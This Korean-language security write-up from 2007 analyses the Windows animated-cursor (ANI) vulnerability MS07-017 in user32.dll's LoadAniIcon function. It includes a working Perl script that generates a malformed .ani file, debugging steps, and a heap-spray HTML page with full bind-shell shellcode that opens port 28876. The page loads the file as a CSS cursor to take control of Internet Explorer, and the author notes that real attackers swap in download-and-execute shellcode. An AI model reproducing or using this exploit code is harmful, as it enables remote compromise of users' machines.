ANI 취약점 (MS07-017) 본문에서는최근 Windows.ani 에대한취약점으로 2006 년에이 어다시한번취약점이나타나면서마소에서핫픽스까지제공한 최근이슈가되었던취약점에대한분석이다. Hacking Group OVERTIME crash <crashn5p@gmail.com>2007.10.10
1. 취약점설명 해당취약점은조작된 ANI 파일에대하여 Windows 시스템의 user32.dll 의 LoadAniIcon 함수를잘못된길이정보를참조한처리과정에서발생된다 헤더태그뒤에정상적인헤더크기 (0x24) 가아닌리턴주소를덮거나쉘코드를할당할수있는만큼의크기를 ANI 커서파일에잡아주면 IE나기타브라우저에서 animated cursor를렌더링할때,loadaniicon 함수의서브함수인 ReadFilePtrCopy에서 ANI 커서파일의특정위치에서잡아준리턴주소로 stack을덮어써리턴주소를쉘코드로향하도록 EIP를변경시킨다. 2. ANI 헤더설명 ANI 파일은 RIFF(Resource Interchange File Format) 형식의올바른 ANI파일을작성하게되면 LoadAnilcon 함수가호출되고처음호출되는 ReadFilePtrCopy 함수에서 ACON을읽지못하는경우 (ANI 파일형식이아닌경우 ) 그이후의과정없이종료가된다. -ANI 파일의구조- "RIFF" {Length of File} "ACON" "LIST" {Length of List} "INAM" {Length of Title} {Data} "IART" {Length of Author} {Data} "fram" "icon" {Length of Icon} {Data} ; 1st in list... "icon" {Length of Icon} {Data} ; Last in list (1 to cframes) "anih" {Length of ANI header (36 bytes)} {Data} ; (see ANI Header TypeDef ) 취약점이발생하는곳 "rate" {Length of rate block} {Data} ; ea. rate is a long (length is 1 to csteps)
"seq " {Length of sequence block} {Data} ; ea. seq is a long (length is 1 to csteps) -헤더구조체- typedef struct aniheader { DWORD structsize; /* Header size (36 bytes) */ 취약점이발생하는곳 DWORD frames; /* Number of unique icons in this cursor */ DWORD steps; /* Number of blits before the animation cycles */ DWORD cx; /* reserved, must be 0? */ DWORD cy; /* reserved, must be 0? */ DWORD bitcount; /* reserved, must be 0? */ DWORD planes; /* reserved, must be 0? */ DWORD rate; /* Default rate (1/60th of a second) if "rate" not present */ DWORD flags; /* Animation flag (1==AF_ICON, although both icons and cursors set this) */ } aniheader_t; 3. Exploit 분석 아래의내용은실제샘플인 exploit.jpg 라는파일을 Hex view로열어본내용이다. 정상적인헤더의내용으로는 [anih] [24 00 00 00] 과같이 36byte값으로구성되어지지만아래.ani 에서는 [52 00 00 00] 로변경이되어져있다. 조작된길이값인 52h의위치즉 51h 부터 Return Address가덮어쓰여지게된다. 다시말해.ANI 파일형식에서 anih chunk의 size를임의로조작함으로써 ReadFilePtrCopy에서조작된 size 정보를토대로복사가이루어짐으로 EIP 를덮어. 쓸수있게되는것이다. 이런취약점을이용하기위해서는 ReadChunk 를호출해야하며반드시 anih 조건을맞추어야된다.
4.Exploit 예제 위의내용을가지고간단한 exploit을만든어본다. 여기에서는 anih의헤더의 size을 [ff ff 00 00] 으로변경하여 65535의크기를모두 0d로채운다 #!/usr/bin/perl $aniheader = "\x52\x49\x46\x46\x13\x03\x00\x00\x41\x43\x4f\x4e\x61\x 6e\x69\x68" "\x24\x00\x00\x00\x24\x00\x00\x00\xff\xff\x00\x00\x09\x00 \x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00" "\x04\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4c\x03\x 00\x00\x00" "\x00\x00\x00\x00\x54\x53\x49\x4c\x04\x00\x00\x00\x02\x 02\x02\x02" "\x61\x6e\x69\x68\xff\xff\x00\x00"; $chunk = "\x0d" x 65535; $payload = $aniheader. $chunk; open(ani, ">", "exploit.ani");
print ANI $payload; close ANI; 위의펄스크립트를실행시키면 exploit.jpg 파일이생성되고이 ani파일이생성된다. 이렇게만들어진 ani파일을실행시킬간단한 html 파일을만들어서 WinDbg를통해실행시켜본다. 먼저 WinDbg 로 html 을실행하는방법을간단히설명한다. 1. WinDbg 를실행시키고 Open Executable 를선택한다. 2. IE 에서실행시킴으로 IEXPLORE.EXE 를선택하고 Arguments 로실행시킬 html 파일경로를써넣는다.
3. 다음과같이실행되는것을알수있다..ani 를실행후디버깅을통행나온부분을확인한다. User32.dll 함수를수행중 77d1e28d 부분에서 Access violation 이나는 것을알수있다.
그리고 Access violation 이후 EIP 가조작되어 0d0d0d0d 로덮어쓴것을확 인할수있다. 이제이 ani exploit을어디서든실행시키기위해 Heap Spray기법을이용해본다. 여기서는 SkyLined 가만든 Internet Exploiter v0.1 html 페이지를이용한다. ( 이내용은 Hacking Group OVERTIME 의리더인 force 님께서만든 Heap Spray라는문서에잘나와있으니참조하기바란다.) 이 html 에서는 IFrame 을이용한 Overflower 를이용하였으나이부분을삭 제하고아래와같이우리가만들어놓은 ani 파일인 exploit.ani 를실행하기 위한 html 테그 ( 붉은색부분 ) 를아래와같이삽입한다. <HTML><!--,sSSSs, Ss, Internet Exploiter v0.1 SS" `YS' '*Ss. MSIE <IFRAME src=... name="..."> BoF PoC exploit is',ss" Copyright (C) 2003, 2004 by Berend-Jan Wever. YS,.ss,sY" http://www.edup.tudelft.nl/~bjwever `"YSSP" sss <skylined@edup.tudelft.nl> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2, 1991 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. A copy of the GNU General Public License can be found at: http://www.gnu.org/licenses/gpl.html or you can write to: Free Software Foundation, Inc.
59 Temple Place - Suite 330 Boston, MA 02111-1307 USA. --> <SCRIPT language="javascript"> // Win32 MSIE exploit helper script, creates a lot of nopslides to land in // and/or use as return address. Thanks to blazde for feedback and idears. // Win32 bindshell (port 28876, '\0' free, looping). Thanks to HDM and // others for inspiration and borrowed code. shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528 b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7% u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u0 48b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad %u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb% ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4% ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a 6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u5 0e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa% ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff% u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u4 0c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u53 50%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff% uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d 0%ufec2%uffff%uc483%u615c%u89eb"); // Nopslide will contain these bytes: bigblock = unescape("%u0d0d%u0d0d"); // Heap blocks in IE have 20 dwords as header headersize = 20; // This is all very 1337 code to create a nopslide that will fit exactly // between the the header and the shellcode in the heap blocks we want. // The heap blocks are 0x40000 dwords big, I can't be arsed to write good // documentation for this. slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; // And now we can create the heap blocks, we'll create 700 of them to spray // enough memory to be sure enough that we've got one at 0x0D0D0D0D memory = new Array(); for (i=0;i<700;i++) memory[i] = block + shellcode; </SCRIPT> <!-- The exploit sets eax to 0x0D0D0D0D after which this code gets executed: 7178EC02 8B08 MOV ECX, DWORD PTR [EAX] [0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D. 7178EC04 68 847B7071 PUSH 71707B84 7178EC09 50 PUSH EAX 7178EC0A FF11 CALL NEAR DWORD PTR [ECX] Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D. We land inside one of the nopslides and slide on down to the shellcode. --> <DIV style="cursor: url('exploit.ani')"></div> </HTML> 자이제이렇게만들어진 html 파일을실행한화면이다.
이 Heap Spray에서는 28876Port를오픈하는바인드쉘이들어있음으로 port가 open되는것을알수있다. 실제공격에서는이와같은바인드쉘코드가아닌다운로드를하거나실행가능한쉘코드를이용해악성프로그램을웹에서자동다운로드하여실행하고있다. 좀더응용하면 VNC같은원격접속프로그램을설치하여자신의컴퓨터를사용하듯이공격을할수도있을것이다. 5월달에만든문서인데그동안올리지못했다가이제서야올립니다. 그때당시에는 0-day 였던거같은데마소에서핫핏스가나오는바람에이제는지나간취약점이되어버렸네요. 실험한환경은 Windows XP pro SP1 입니다. 예전에실험했을때는 Windows XP home SP2였던거같네요.